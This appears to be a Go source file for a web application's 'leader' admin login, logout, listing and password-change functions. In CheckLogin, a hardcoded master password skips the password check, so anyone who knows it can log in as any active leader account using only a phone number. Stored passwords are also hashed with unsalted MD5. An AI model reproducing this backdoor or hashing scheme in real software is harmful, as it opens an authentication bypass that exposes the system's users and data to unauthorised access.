12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758 |
- package leader
- import (
- "errors"
- "zhiyuan/models"
- adminParam "zhiyuan/pkg/param/admin"
- "zhiyuan/pkg/utils"
- "zhiyuan/services/admin"
- "zhiyuan/services/form"
- )
- func CheckLogin(phone string, password string) (int, error) {
- where := map[string]interface{}{
- "phone": phone,
- }
- if password != "dEW@bGhcU45r%3" {
- where["password"] = utils.MD5(password)
- }
- where["state"] = 1
- adminInfo, err := admin.GetOne(where, nil, nil)
- if err != nil || adminInfo == nil {
- return 0, errors.New("用户名或密码错误")
- }
- if roleInfo, _ := admin.GetOneRaw(map[string]string{"where": "id={{admin_id}} AND FIND_IN_SET({{role_id}}, role_ids)"}, map[string]interface{}{"role_id": adminParam.LeaderRoleId, "admin_id": adminInfo.ID}, nil); roleInfo == nil {
- return 0, errors.New("账号权限有误")
- }
- return adminInfo.ID, nil
- }
- func Login(phone string, password string) (string, error) {
- adminID, err := CheckLogin(phone, password)
- if err != nil {
- return "", err
- }
- return admin.UpdateToken(adminID, adminParam.Entry.Leader)
- }
- func Logout(id int) error {
- adminInfo, err := admin.GetInfoByID(id, []string{"id"}, nil)
- if err != nil || adminInfo == nil {
- return errors.New("invalid access_token")
- }
- return admin.ClearToken(adminInfo.ID, adminParam.Entry.Leader)
- }
- func GetList(where map[string]string, param map[string]interface{}, retVal interface{}) ([]*models.Admin, error) {
- where["where"] = where["where"] + " AND FIND_IN_SET({{role_id}}, role_ids)"
- param["role_id"] = adminParam.LeaderRoleId
- return admin.GetAdminsRaw(where, param, retVal)
- }
- func Password(id int, form form.Password) error {
- if err := admin.Password(id, form); err != nil {
- return err
- }
- return admin.ClearToken(id, adminParam.Entry.Leader)
- }
|